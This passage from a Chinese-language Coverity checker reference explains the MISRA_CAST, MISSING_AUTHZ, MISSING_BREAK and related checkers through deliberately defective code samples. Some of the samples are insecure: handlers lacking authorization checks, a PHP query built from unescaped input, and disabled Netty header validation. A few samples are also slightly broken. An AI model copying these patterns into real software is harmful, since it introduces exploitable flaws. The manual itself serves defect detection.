MISRA-C 10.4. 浮点类型的复杂表达式的值只能转换为较窄的浮点类型。

MISRA-C 10.5. 如果对基础类型 unsigned char 或 unsigned short 的操作数应用了位运算符 ~ 和 <<，结果应立即转换为操作数的基础类型。

虽然 MISRA-C:2004 规则仅适用于 C，但 MISRA_CAST 检查器可在 C 和 C++ 中查找这些类型的问题。

有关详细信息，包括违反这些规则的示例，请参阅 MISRA-C:2004 关于在关键系统中使用 C 语言的指南（可在 www.misra.org.uk 上购买）。

扩展 MISRA 分析

从版本 7.7.0 开始，您还可以运行单独的 MISRA 分析，以便查找 Appendix E, 中描述的违规情况。

4.209.2. 示例

本部分提供了一个或多个 MISRA_CAST 示例。

在下面的示例中，使用整数类型的复杂表达式 xs32a/xs32b 被转换为非整数类型，因此违反了规则 10.3：

```
const int32_t xs32a = 0, xs32b = 1;
static void non_compliant()
{
    (void)(float64_t)(xs32a / xs32b); // Defect: Casting complex expression with
                                      // integer type to a non-integer
                                      // type float64_t
}
```

在下面的示例中，f64a 被隐式转换为较窄的类型，因此违反了规则 10.2：

```
float32_t f32a;
float64_t f64a;

int16_t compliant()
{
    f32a = 2.5F;
    f64a = f64b + f32a;
}

static void non_compliant()
{
    f32a = f64a; // Defect, casting complex expression to narrower type
}
```

在下面的示例中，类型为 float32_t 的 f32a 和 f32b 被转换为 float64_t，因此违反了规则 10.4：

```
extern float32_t f32a, f32b;

static void non_compliant()
{
    (void)(float64_t)(f32a + f32b); //Defect: Type 32-bit float_t cast
                                    // to 64-bit float64_t
}
```

4.209.3. 选项

本部分描述了一个或多个 MISRA_CAST 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- MISRA_CAST:allow_widening_bool:<boolean> - 当此选项为 true 时，该检查器会抑制对布尔值转换到较宽的整数类型的报告。默认值为 MISRA_CAST:allow_widening_bool:false

例如，在 C++ 中，默认将以下情况报告为缺陷：

```
extern int x;
```

```
long long ll = (long long)(x == 0);
```

- MISRA_CAST:check_constant_expressions:<boolean> - 当此选项为 true 时，该检查器会报告常量表达式中的违反情况。默认值为 MISRA_CAST:check_constant_expressions:false

示例：

```
int const s1 = 0x80000000;
int const s2 = 0x80000000;
long long not_what_you_think = (long long)(s1 + s2); /* MISRA states that
   the whole initializer is a constant expression, so default is not to
   report the "late cast" of the int expression "s1 + s2" to the wider type
   long long as a defect. */
```

- MISRA_CAST:non_negative_literals_may_be_unsigned:<boolean> - 当此选项为 true 时，该检查器会更改整数常量的基础类型的定义，因此，如果发生在需要无符号的类型的环境中，包含非负值的整数常量会被视为具有无符号的基础类型（如果它的值属于要求的类型）。默认值为 MISRA_CAST:non_negative_literals_may_be_unsigned:false

示例：

```
void f(unsigned char);
f(2); // Defect: MISRA states that "2" is a signed char,
       // so this is a 10.1 violation.
```

4.209.4. 事件

本部分描述了 MISRA_CAST 检查器生成的一个或多个事件。

- integer_narrowing_conversion - 违反 MISRA-2004 规则 10.1，隐式转换表达式。
- integer_signedness_changing_conversion - 违反 MISRA-2004 规则 10.1，隐式转换表达式。
- integer_complex_conversion - 违反 MISRA-2004 规则 10.1，隐式转换复杂表达式。
- integer_non_constant_arg_conversion - 违反 MISRA-2004 规则 10.1，隐式转换非常量表达式。
- integer_non_constant_rtn_conversion - 违反 MISRA-2004 规则 10.1，将使用基础类型 int (32 位，带符号) 的复杂表达式隐式转换为返回表达式中的类型 long long int (64 位，带符号)。
- integer_to_float_conversion - 违反 MISRA-2004 规则 10.1，将使用整数类型 int 的复杂表达式隐式转换为非整数类型 float64_t。
- float_narrowing_conversion - 违反 MISRA-2004 规则 10.2，将使用类型 double (64 位) 的表达式隐式转换为较窄的类型 float32_t (32 位)。

- `float_complex_conversion` - 违反 MISRA-2004 规则 10.2，将使用基础类型 `float` (32 位) 的复杂表达式隐式转换为类型 `double` (64 位)。
- `float_non_constant_arg_conversion` - 违反 MISRA-2004 规则 10.2，将使用基础类型 `float` (32 位) 的非常量表达式隐式转换为函数参数中的类型 `double` (64 位)。
- `float_non_constant_rtn_conversion` - 违反 MISRA-2004 规则 10.2，将使用基础类型 `float` (32 位) 的复杂表达式隐式转换为返回表达式中的类型 `double` (64 位)。
- `float_to_integer_conversion` - 违反 MISRA-2004 规则 10.2，将使用浮点类型 `double` 的表达式隐式转换为非浮点类型 `uint16_t`。
- `integer_widening_cast` - 违反 MISRA-2004 规则 10.3，将使用基础类型 `unsigned short` (16 位，无符号) 的复杂表达式转换为较宽的类型 `uint32_t` (32 位，无符号)。
- `integer_signedness_changing_cast` - 违反 MISRA-2004 规则 10.3，将使用基础类型 `int` (32 位，带符号) 的复杂表达式转换为使用不同符号的类型 `unsigned int` (32 位，无符号)。
- `integer_to_float_cast` - 违反 MISRA-2004 规则 10.3，将使用整数类型 `int` 的复杂表达式转换为非整数类型 `float64_t`。
- `float_widening_cast` - 违反 MISRA-2004 规则 10.4，将使用类型 `float` (32 位) 的复杂表达式转换为较宽的类型 `float64_t` (64 位)。
- `float_to_integer_cast` - 违反 MISRA-2004 规则 10.4，将使用浮点类型 `double` 的复杂表达式转换为非浮点类型 `uint16_t`。
- `bitwise_op_no_cast` - 违反 MISRA-2004 规则 10.5，将位运算符 `<<` 应用到了操作数，并且未立即将基础类型 `unsigned short` 转换为该类型。
- `bitwise_op_bad_cast` - 违反 MISRA-2004 规则 10.5，将位运算符 `<<` 应用到了操作数，并且将基础类型 `unsigned short` 转换为了 `int`，而不是相同类型。

4.210. MISSING_ASSIGN

质量、规则检查器

4.210.1. 概述

支持的语言：. C++

在 Coverity Connect 中，MISSING_ASSIGN 是 C++ MISSING_COPY_OR_ASSIGN 检查器所发现缺陷的显示名称。有关详细信息，请参阅 MISSING_COPY_OR_ASSIGN。

4.211. MISSING_AUTHZ

安全检查器

4.211.1. 概述

支持的语言：. C#、Java、JavaScript、PHP、Python、Visual Basic

MISSING_AUTHZ 报告方法调用未受授权检查（在代码的其他位置应用）保护的情况。该检查器通过统计分析所有代码中两个函数之间的关联，确定哪些函数应受哪些授权检查保护。

识别的授权检查包括：

- 调用方法的语句条件是否 (a) 返回布尔值，或 (b) 与整数常量进行比较。
- 应用于 Web 应用程序入口点的注解。

该检查器仅针对执行敏感操作（直接或通过调用执行此类操作的其他方法）的调用位置报告缺陷。内置敏感操作的示例包括数据库和文件系统操作。有关如何为 C#、Java 和 Visual Basic 建模其他敏感操作的信息，请参阅 Chapter 5。请参阅 sensitive_action 指令了解有关如何为 JavaScript 建模敏感操作的信息。

默认禁用：MISSING_AUTHZ 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

Web 应用程序安全检查器启用：要启用 MISSING_AUTHZ 以及其他 Web 应用程序检查器，请使用 --webapp-security 选项。

4.211.2. 缺陷剖析

MISSING_AUTHZ 缺陷说明了未受特定授权检查（在其他位置应用）保护的调用位置。如果该调用未直接执行敏感操作，其他事件将说明它如何最终调用执行此类操作的方法。

该缺陷说明了调用同一方法（受建议的授权检查保护）的几个示例。每个示例都显示了方法调用及其关联授权检查。

4.211.3. 示例

本部分提供了一个或多个 MISSING_AUTHZ 示例。

4.211.3.1. C#

在此处，Web API 2 控制器中的请求处理程序 PostUnsafe 缺少验证检查。在程序中的其他位置，对 UpdateTheData 的大部分调用只允许授权用户访问。该检查器未针对 PostAnonymousData 报告缺陷，这是因为它显然打算进行未经授权的访问。

```
using System.Web.Http;
using System.Data.SqlClient;

public class MyWebService : ApiController {

    // No defect: These entry points are authorized.

    [Authorize]
    [HttpPost]
    public void PostSafeData1(String data) {
        // Here, we write some data to the database.
        // This is evidence that 'UpdateTheData' should
        // always be protected by an authorization check.
```

```

        UpdateTheData(data);
    }

    [Authorize]
    [HttpPost]
    public void PostSafeData2(String data) {
        // Here, we write some data to the database.
        // This is evidence that 'UpdateTheData' should
        // always be protected by an authorization check.
        UpdateTheData(data);
    }

    [Authorize]
    [HttpPost]
    public void PostSafeData3(String data) {
        // Here, we write some data to the database.
        // This is evidence that 'UpdateTheData' should
        // always be protected by an authorization check.
        UpdateTheData(data);
    }

    // No defect: This entry point is intentionally unauthorized.

    [AllowAnonymous]
    [HttpPost]
    public void PostAnonymousData(String data) {
        UpdateTheData(data);
    }

    // MISSING_AUTHZ defect: We forgot the authorization check!

    [HttpPost]
    public void PostUnsafeData(String data) {
        UpdateTheData(data);
    }

    // This helper method performs a "sensitive action": It updates the
    // database.
    private void UpdateTheData(String data) {
        var cmd = new SqlCommand("UPDATE Data SET TheValue = @Value WHERE id = 1");
        cmd.Parameters.AddWithValue("@Value", data);
        cmd.ExecuteNonQuery();
        cmd.Dispose();
    }
}

```

4.211.3.2. Java

示例 1：假设方法 `perform_sensitive_action()` 执行可能为敏感操作（例如，写入文件）的操作。

```
class Inconsistent {
```

```

void checked_1(User user) {
    if (is_authorized(user)) {
        perform_sensitive_action();
    }
}

void checked_2(User user) {
    if (!is_authorized(user)) {
        return;
    }
    perform_sensitive_action();
}

void checked_3(User user) {
    if (!is_authorized(user)) {
        // do nothing
    } else {
        perform_sensitive_action();
    }
}

void unchecked() {
    // Defect: The following method is usually protected by
    //          the authorization check is_authorized().
    perform_sensitive_action();
}
}

```

示例 2：不一致注解。此示例说明了将 Spring Security 注解不一致地应用到了 Spring MVC Controller。

假设方法 `write_to_database()` 更新数据库，这被认为是敏感操作。

```

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.*;
import org.springframework.security.access.prepost.PreAuthorize;

@Controller
class MyController {

    @RequestMapping("/one")
    @PreAuthorize("hasRole('ADMIN')")
    void checked_1() {
        write_to_database();
    }

    @RequestMapping("/two")
    @PreAuthorize("hasRole('ADMIN')")
    void checked_2() {
        write_to_database();
    }

    @RequestMapping("/three")
    @PreAuthorize("hasRole('ADMIN')")

```

```

void checked_3() {
    write_to_database();
}

@RequestMapping("/other")
void unchecked() {
    // Defect: The following method is usually protected by
    //          the authorization check @PreAuthorize.
    write_to_database();
}
}

```

4.211.3.3. JavaScript

示例 1：如果函数 `perform_sensitive_action()` 执行诸如写入至数据库等敏感操作，则 `MISSING_AUTHZ` 会针对在 `unchecked` 中调用 `perform_sensitive_action` 报告缺陷，因为它不受调用 `is_authorized` 的保护。

```

function checked_1(user) {
    if (is_authorized(user)) {
        perform_sensitive_action();
    }
}

function checked_2(user) {
    if (!is_authorized(user)) {
        return;
    }
    perform_sensitive_action();
}

function checked_3(user) {
    if (!is_authorized(user)) {
        // do nothing
    } else {
        perform_sensitive_action();
    }
}

function unchecked() {
    perform_sensitive_action();
}

```

4.211.3.4. Visual Basic

下面的示例展示了在 Visual Basic 中使用 `MISSING_AUTHZ` 检查器的情况。

```

Imports System.Web.Http
Imports System.Data.SqlClient
Imports System.Web.Helpers

Public Class MissingAuthz

```

```
Inherits ApiController

<Authorize>
<HttpGet>
Public Sub PostSafeData1(ByVal user As User)
    ' Here, we write some data to the database.
    ' This is evidence that 'UpdateTheData' should
    ' always be protected by an authorization check.
    AntiForgery.Validate()
    PerformSensitiveAction()
End Sub

<Authorize>
<HttpGet>
Public Sub PostSafeData2(ByVal user As User)
    ' Here, we write some data to the database.
    ' This is evidence that 'UpdateTheData' should
    ' always be protected by an authorization check.
    AntiForgery.Validate()
    PerformSensitiveAction()
End Sub

<Authorize>
<HttpGet>
Public Sub PostSafeData3(ByVal user As User)
    ' Here, we write some data to the database.
    ' This is evidence that 'UpdateTheData' should
    ' always be protected by an authorization check.
    AntiForgery.Validate()
    PerformSensitiveAction()
End Sub

' MISSING_AUTHZ defect: We forgot the authorization check!

<HttpGet>
Public Sub PostUnsafeData()
    AntiForgery.Validate()
    PerformSensitiveAction()
End Sub

' This helper method performs a "sensitive action": It updates the
' database.
Private Sub PerformSensitiveAction(data As String)
    Dim cmd = New SqlCommand("UPDATE Customers SET Name = @data WHERE id = 1")
    cmd.ExecuteNonQuery()
    cmd.Dispose()
End Sub
End Class
```

4.211.3.5. PHP

```
<?php
```

```
function write_user_comment($user, $comment) {
    $db = new mysqli($location, $username, $password, $dbName);

    // steps making sure that db is successfully connected

    $db->query("INSERT INTO CommentTable (name, comment) VALUES ($user, $comment)");

    // validate and close
}

function checked_post_comment_1($user, $comment) {
    if(isauthz()) {
        write_user_comment($user, $comment);
    }
}

function checked_post_comment_2($user, $comment) {
    if(isauthz()) {
        write_user_comment($user, $comment);
    }
}

function unchecked_post_comment($user, $comment) {
    write_user_comment($user, $comment);
}

?>
```

4.211.3.6. Python

```
from sqlalchemy import Table, create_engine, MetaData, create_engine, Column, String,
Integer
from flask import Flask

engine      = create_engine(db_location)
metadata   = MetaData()

fruit_tbl   = Table('fruit_count', metadata,
                    Column('id', Integer, primary_key=True),
                    Column('name', String),
                    Column('count', Integer)
                    )

metadata.create_all(engine)
connection = engine.connect()

def update_fruits_count(name, newCount):
    updObj = fruit_tbl.update().values(count=newCount).where(fruit_tbl.c.name == name)
    connection.execute(updObj)

fruit_tracker = Flask(__name__)

# Update apple count
```

```

@fruit_tracker.route('/apple_update/' , methods=('GET' , 'POST'))
def apple_update():
    if request.method == 'GET':
        newCount = request.args.get('count')
    else:
        newCount = request.form.get('count')

    if(isauthz()):
        update_fruits_count('apple' , newCount)

    # Update orange count
@fruit_tracker.route('/orange_update/' , methods=('GET' , 'POST'))
def orange_update():
    if request.method == 'GET':
        newCount = request.args.get('count')
    else:
        newCount = request.form.get('count')

    update_fruits_count('orange' , newCount)

if __name__ == '__main__':
    fruit_tracker.run()

```

4.211.4. 选项

本部分描述了一个或多个 MISSING_AUTHZ 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- MISSING_AUTHZ:stat_threshold:<percentage> - 此选项用于设置调用敏感操作（必须具有相同的授权检查以便进行统计分析，从而推断应始终受授权检查保护的函数或方法）的百分比。另请参阅 enable_name_heuristics，这会影响此选项的行为。默认值为 MISSING_AUTHZ:stat_threshold:65。
- MISSING_AUTHZ:entry_point_stat_threshold:<percentage> - 此选项用于设置调用敏感操作（必须具有相同的授权检查以便进行统计分析，从而推断在 Web 应用程序入口点方法中应始终受授权检查保护的函数或方法）的百分比。如果授权检查预期发生在 Web 应用程序请求处理程序和服务方法中，可能需要独立调整此阈值。另请参阅 enable_name_heuristics，这会影响此选项的行为。默认值为 MISSING_AUTHZ:entry_point_stat_threshold:65。该选项仅适用于 C#、Java 和 Visual Basic。
- MISSING_AUTHZ:enable_name_heuristics:<boolean> - 此选项让使用基于名称的判别法偏爱针对可能为授权检查的方法和注解的检查器。这些判别法将针对受影响的方法修改有效统计阈值。如果应使用原始数学百分比，则可以禁用此功能。默认值为 MISSING_AUTHZ:enable_name_heuristics:true。
- MISSING_AUTHZ:only_framework_authorization:<boolean> - 此选项将推断授权检查限制为已知授权框架（例如 Spring Security）的检查。默认值为 MISSING_AUTHZ:only_framework_authorization:false。该选项仅适用于 C#、Java 和 Visual Basic。

4.211.5. 自定义检查器

您可以使用用户模型和指令来识别执行敏感操作的其他方法。将仅针对包括敏感操作的方法调用报告缺陷。

4.211.5.1. C#

对于 C#，可使用以下原语对此操作建模：

```
Coverity.Primitives.Security.AuthzAction()
```

有关安全原语 `Security.AuthzAction()` 的描述，请参阅 Section 5.2.1.3，“C# 和 Visual Basic 原语”。

4.211.5.2. Java

对于 Java，可使用以下原语对此操作建模：

```
com.coverity.primitives.SecurityPrimitives.authz_action()
```

在下面的示例中，`doSomething` 方法被建模为敏感操作。`doSomethingElse` 方法也会被视为敏感操作，因为它调用执行敏感操作的方法。

```
import com.coverity.primitives.SecurityPrimitives;

class MyClass
{
    public void doSomething() {
        SecurityPrimitives.authz_action();
    }

    public void doSomethingElse() {
        doSomething();
    }
}
```

4.211.5.3. JavaScript

对于 JavaScript，您可以使用 `sensitive_action` 指令建模敏感操作：

```
{
  "sensitive_action" : {
    "call_on" : {
      "read_path_off_global" : [ { "property" : "addUser" } ]
    }
  }
}
```

在下面的示例中，`addUser` 方法被建模为敏感操作。`addAdminUser` 方法也会被视为敏感操作，因为它调用执行敏感操作的方法。

```
addUser ("guest");
function addAdminUser() {
    addUser ("admin");
}
//...
addAdminUser();
```

4.211.5.4. Visual Basic

对于 Visual Basic，您可以使用以下指令建模该操作：

```
Coverity.Primitives.Security.AuthzAction()
```

4.212. MISSING_BREAK

质量检查器

4.212.1. 概述

支持的语言：. C、C++、Java、JavaScript、Objective-C、Objective-C++、PHP 和 TypeScript

`MISSING_BREAK` 查找 `switch` 语句中缺少 `break` 语句的很多情况。如果发现 `case` 或 `default` 语句的代码块末尾缺少 `break` 语句，该规则会报告缺陷。缺少 `break` 语句可能导致不正确或不可预测的行为。Java 版本可识别 `SuppressWarnings` 注解。

由于 `case` 语句故意未以 `break` 语句结束的原因有很多，因此 `MISSING_BREAK` 检查器在以下情况下不会报告缺陷：

- 后接以 `break` 开始的 `case`。
- 以注释结束。该检查器假设此注释确认向下执行。该注释可以在最后一行中的任意位置开始，也可以是多行 C 注释。
- 为空。
- 没有控制流路径，例如原因可能是存在 `return` 语句。
- 具有至少一个包含 `break` 语句的条件语句。
- 开始和结束于同一行。
- 具有属于可结束程序的函数调用的顶层语句。
- 在被解释为 ASCII 时向下执行到具有类似数值的另一个 `case`。当两个值都是空白值（例如空格、制表符或换行符），或者两个值是同一字母的不同大小写（大写或小写）时，会将其视为类似的值。

但是，您可以通过禁用检查器选项更改此默认行为。通过禁用检查器选项，您可以检查是否缺少这些 `break`，以强制执行编码标准，例如 MISRA。

默认启用 : MISSING_BREAK 默认启用。有关启用/禁用详情和选项 , 请参阅Section 1.2, “启用和禁用检查器”。

4.212.2. 示例

本部分提供了一个或多个 MISSING_BREAK 示例。

4.212.2.1. C/C++ 和 Java

```
void doSomething(int what)
{
    switch (what) {
        case 1:
            foo();
            break;

        case 2:
            // Defect: Missing break statement in this case
            bar();
        case 3:
            gorf();
            break;
    }
}
```

4.212.2.2. JavaScript

```
function handleKeyPress(code) {
    switch (code) {
        case 38: // UP // Missing break after this case
            handleKeyUp();
        case 40: // DOWN
            handleKeyDown();
            break;
        case 33: // PAGE UP
            handleKeyPageUp();
            break;
        case 34: // PAGE DOWN
            handleKeyPageDown();
            break;
        default:
            break;
    }
}
```

4.212.2.3. PHP

```
function test($y) {
    $x = 5;
    switch ($y) {
```

```

    case 1: // MISSING_BREAK here
        $x = 6;
    case 2:
        $x = 7;
        break;
}
}

```

4.212.3. 选项

本部分描述了一个或多个 MISSING_BREAK 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- MISSING_BREAK:allowFallthroughCommentAnywhere:<boolean> - 此选项可将从最后一行任意位置（不仅仅是开头）开始的注释识别为向下执行确认注释。默认值为 MISSING_BREAK:allowFallthroughCommentAnywhere:true（适用于所有语言）。
- MISSING_BREAK:anyLineRegex:<regular_expression> - 对于此选项，如果 case 代码块中的任何行与正则表达式字符串（Perl 正则表达式）匹配，则不会针对该 case 代码块报告缺陷。默认值为正则表达式 MISSING_BREAK:anyLineRegex:[^#]fall.?thro?u（适用于所有语言）。

向下执行确认有时在最后一行之外的位置。将此选项设置为空字符串可禁止此行为。

示例：

```

switch (int x) {
    case 1:
        // fallthrough
        x++;
    case 2:
        x++;
}

```

- MISSING_BREAK:maxCountdownStartVal:<integer> - 此选项可设置最大开始 case 值；设置后，length 进程中的 switch 语句（代表递增的指针）将按倒序计数。默认值为 MISSING_BREAK:maxCountdownStartVal:16（适用于 C、C++、Java、JavaScript、Objective-C、Objective-C++、PHP 和 TypeScript（适用于所有语言）。

示例：

```

switch (length) {
    case 3:
        *p+=(char)(value>>16);
    case 2:
        *p+=(char)(value>>8);
    case 1:
        *p+=(char)value;
    default:
        break;
}

```

}

- MISSING_BREAK:maxReportsPerFunction:<integer> - 此选项可抑制针对特定函数（超过指定的该检查器发现的最大缺陷数）的所有缺陷报告。要允许报告无限数量的缺陷，请指定 0。默认值为 MISSING_BREAK:maxReportsPerFunction:5（适用于所有语言）。
- MISSING_BREAK:suppressCountdowns:<boolean> - 如果此选项被设置为 false，该检查器将在 length 进程中的 switch 语句按倒序计数时报告缺陷。默认值为 MISSING_BREAK:suppressCountdowns:true（适用于所有语言），这会抑制缺陷报告。
- MISSING_BREAK:suppressIfLastComment:<boolean> - 如果此选项被设置为 false，该检查器将在 case 的代码块以注释结束时报告缺陷。默认值为 MISSING_BREAK:suppressIfLastComment:true（适用于所有语言），这会抑制缺陷报告。
- MISSING_BREAK:suppressIfSimilarASCII:<boolean> - 如果此选项被设置为 false，该检查器将在 case 在被解释为 ASCII 时向下执行到具有类似数值的另一个 case 时报告缺陷。当两个值都是空白值（例如空格、制表符或换行符），或者两个值是同一字母的不同大小写（大写或小写）时，会将其视为类似的值。默认值为 MISSING_BREAK:suppressIfSimilarASCII:true（适用于所有语言）。
- MISSING_BREAK:suppressIfSucceedingAdjacentPair:<boolean> - 如果此选项被设置为 true，该检查器将在 case 代码块后面紧接了另外两个 case 行并且没有中间空白行时报告缺陷。默认值为 MISSING_BREAK:suppressIfSucceedingAdjacentPair:false（适用于所有语言）。

示例：

```
switch (x) {  
    case 1:  
        y++;  
    case 2:  
    case 3:  
        y++;  
}
```

- MISSING_BREAK:suppressOnGuardedBreak:<boolean> - 如果此选项被设置为 false，该检查器将在 case 的代码块包括至少一个条件语句并且其中至少有一个语句包括 break 语句时报告缺陷。默认值为 MISSING_BREAK:suppressOnGuardedBreak:true（适用于所有语言），这会抑制缺陷报告。
- MISSING_BREAK:suppressOnKillpaths:<boolean> - 如果此选项被设置为 false，该检查器将在 case 中的顶层语句是可结束程序的函数调用时报告缺陷。默认值为 MISSING_BREAK:suppressOnKillpaths:true（适用于除 PHP 之外的所有语言），这会抑制缺陷报告。
- MISSING_BREAK:suppressOnNextBreak:<boolean> - 如果此选项被设置为 false，该检查器将在紧接缺少 break 的 case 之后的 case 以 break 语句开头时报告缺陷。默认值为 MISSING_BREAK:suppressOnNextBreak:true（适用于所有语言），这会抑制缺陷报告。
- MISSING_BREAK:suppressOnSameLine:<boolean> - 如果此选项被设置为 false，该检查器将在 case 在同一行开始和结束（通常是由于宏扩展导致的）时报告缺陷。默认值为 MISSING_BREAK:suppressOnSameLine:true（适用于所有语言），这会抑制缺陷报告。

- MISSING_BREAK:suppressOnTerminatedBranches:<boolean> - 如果此选项被设置为 false , 该检查器将在开始和结束 case 之间没有控制流语句时报告缺陷。默认值为 MISSING_BREAK:suppressOnTerminatedBranches:true (适用于所有语言) , 这会抑制缺陷报告。

示例 :

```
void suppressed(int a)
{
    switch (a) {
    case 0:
    case 1: // no defect here
        ++a;
        return;

    case 2:
        ++a;
    }
}

void notSuppressed(int a)
{
    switch (a) {
    case 0:
    case 1: // defect reported here
        ++a;
        if (a & 1) return;

    case 2:
        +=a;
    }
}
```



Note

如果您想要检查 MISRA 编码标准 , 请将所有选项 (maxReportsPerFunction 和 maxCountdownStartVal 除外) 设置为 false。将 maxReportsPerFunction 选项设置为 0。当 suppressCountdowns 为 false 时 , maxCountdownStartVal 选项的值不适用。

4.212.4. Java 注解

该 Java MISSING_BREAK 检查器可搜索覆盖该检查器默认行为的 SuppressWarnings 注解。

例如 , 该检查器在以下情况下不报告缺陷 :

```
class Test {
    int f = -1;

    @SuppressWarnings("fallthrough")
    public Test(int n) {
        switch(n) {
            case 4: this.f = 0;
```

```

        default: ++f;
    }
}
}

@SuppressWarnings("fallthrough")
class Test2 {
    int f = -1;
    public Test2(int n) {
        switch(n) {
            case 4: this.f = 0;
            default: ++f;
        }
    }
}

```

有关详细信息，请参阅 <install_dir>/doc/<en|ja|ko|zh-cn>/annotations/index.html 上的 Section 5.4.2，“添加 Java 注解以提高准确度” 和 Javadoc 文档。

4.212.5. 事件

本部分描述了 MISSING_BREAK 检查器生成的一个或多个事件。

- unterminated_case - 没有 break 语句的 case 语句。
- unterminated_default - 没有 break 语句的 default 语句。
- fallthrough - case 由于缺少 break 语句而向下执行。

4.213. MISSING_COMMA

质量检查器

4.213.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

MISSING_COMMA 检查器可查找字符串数组初始化的行中缺少逗号的情况。缺少逗号可能导致形成单个连接字符串元素而不是多个独立的字符串元素，而这可能引发意外结果或越界访问。

默认启用：MISSING_COMMA 默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

4.213.2. 示例

本部分提供了一个或多个 MISSING_COMMA 示例。

```

char* arr[] = {
    "a string literal"    //Defect here.
    "another string literal"
};

```

```

char* arr[] = {
    "a string literal"    //Defect here.

    "another string literal"
};

char* arr[] = {
    "a string literal"    //"a string literal", //Defect here.
    "another string literal"
};

char* arr[] = {
    "a string literal"    //NO defect here because a comma precedes
                           //the first string literal in next line.
    , "another string literal"
};

```

此检查器不处理需要执行宏扩展或条件编译的情况。此外，该检查器将以下条件视为特意，而不是缺陷。

- 缺少逗号的行中的最后一个字符串常数值以空格、制表符、`\n` 或 `\t` 结尾。
- 缺少逗号行后面一行中的第一个字符串常数值以空格、制表符、`\n` 或 `\t` 开头。
- 字符串数组初始化中缺少多个逗号。
- 缺少逗号行后面一行是特意添加的。

4.213.3. 事件

本部分描述了 `MISSING_COMMA` 检查器生成的一个或多个事件。

- `missing_comma` - 识别缺少逗号的缺陷。
- `remediation` - 针对如何修复缺少逗号的缺陷提供建议。

4.214. MISSING_COPY

质量、规则检查器

4.214.1. 概述

支持的语言：. C++

在 Coverity Connect 中，`MISSING_COPY` 是 C++ `MISSING_COPY_OR_ASSIGN` 检查器所发现缺陷的显示名称。

有关详细信息，请参阅 `MISSING_COPY_OR_ASSIGN`。

4.215. MISSING_COPY_OR_ASSIGN

质量、规则检查器

4.215.1. 概述

支持的语言 : . C++

MISSING_COPY_OR_ASSIGN 报告拥有资源（例如动态分配内存或操作系统句柄）的类缺少用户写入的复制构造函数或用户写入的赋值运算符的很多情况。当发生这种情况时，编译器会生成缺少的运算符，但编译器生成的运算符只能执行浅复制。之后，当销毁复制的内容时，拥有的资源会被销毁两次，从而导致内存损坏。此检查器报告的缺陷在 Coverity Connect 中会显示为 MISSING_COPY 或 MISSING_ASSIGN。可以针对任意一个类报告其中一种或者两种缺陷。

如果某个类的析构函数在 `this` 的字段上调用释放函数，则该类被视为拥有资源。

要被视为赋值运算符以便符合此规则，赋值运算符必须可用于分配全体对象。假设不打算使用私有复制构造函数或赋值运算符，并且不需要管理资源。

默认禁用：MISSING_COPY_OR_ASSIGN 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 `--enable` 选项。

4.215.2. 示例

本部分提供了一个或多个 MISSING_COPY_OR_ASSIGN 示例。

一个简单字符串封装类：在 `free` 调用之后，没有 `copy` 构造函数，也没有 `assignment` 构造函数，

```
class MyString {
    char *p;
public:
    MyString(const char *s) : p(strdup(s)) {}
    // evidence of resource ownership
    ~MyString() {free(p);}
    // no copy constructor at all
    // no assignment operator at all
    const char *str() const {return p;}
    operator const char *() const {return str();}
};
```

4.215.3. 选项

本部分描述了一个或多个 MISSING_COPY_OR_ASSIGN 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `MISSING_COPY_OR_ASSIGN:report_uncalled:<boolean>` - 如果此选项被设置为 `true`（默认），该检查器将报告缺少复制构造函数和赋值运算符（即使它们绝不会被调用，因为该类目前绝不会被复制）的情况。当此选项被设置为 `false` 时，该检查器在报告缺陷之前将寻找复制的证据。默认值为 `MISSING_COPY_OR_ASSIGN:report_uncalled:true`（适用于 C++）。

4.215.4. 事件

本部分描述了 MISSING_COPY_OR_ASSIGN 检查器生成的一个或多个事件。

- `free_resource` - 指向由析构函数释放的资源的字段。
- `missing_assign` - 拥有资源的类不包含赋值运算符。
- `missing_copy_ctor` - 拥有资源的类不包含复制构造函数。

4.216. MISSING_HEADER_VALIDATION

安全性

4.216.1. 概述

支持的语言 : . Java

`MISSING_HEADER_VALIDATION` 检查器标记以下情况：通过在调用 `io.netty.handler.codec.http.DefaultHttpHeaders` 类的构造函数中将 `validate` 参数显式设置为 `false` 来禁用 Netty HTTP 头文件验证。如果禁用 Netty HTTP 头文件验证，则在用户输入直接写入 HTTP 头文件时，该代码将容易受到 HTTP 响应拆分攻击的影响。默认情况下，将 `validate` 参数设置为 `true` 以启用 Netty HTTP 头文件验证。

默认禁用 `MISSING_HEADER_VALIDATION` 检查器；可以使用 `cov-analyze` 命令的 `--webapp-security` 选项启用它。

4.216.2. 示例

本部分提供了一个或多个 `MISSING_HEADER_VALIDATION` 示例。

在下面的示例中，针对通过将发送到 `DefaultHttpHeaders` 构建函数的参数显式设置为 `false` 来禁用 Netty HTTP 头文件验证，显示 `MISSING_HEADER_VALIDATION` 缺陷。

```
package io.netty.handler.codec.http;

import io.netty.handler.codec.http.DefaultHttpHeaders;

class Test
{
    public void testSetNullHeaderValueNotValidate() {
        HttpHeaders headers = new DefaultHttpHeaders(false); //defect here
        headers.set("test", (CharSequence) null);
    }
} SAMPLE CODE GOES HERE
```

4.217. MISSING_IFRAME_SANDBOX

安全检查器

4.217.1. 概述

支持的语言 : . JavaScript

MISSING_IFRAME_SANDBOX 查找源属性指向远程 URL 但没有沙箱属性的 iframe 情况 (CWE 829)。在 iframe 中加载没有沙箱的不受信任的网站可以允许攻击者突破 iframe 并挂载点击绑架或钓鱼攻击。为了防止此类攻击，最佳做法是将 iframe 的沙箱属性设置为授予实现所需功能最少所需的特权。

默认禁用：MISSING_IFRAME_SANDBOX 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

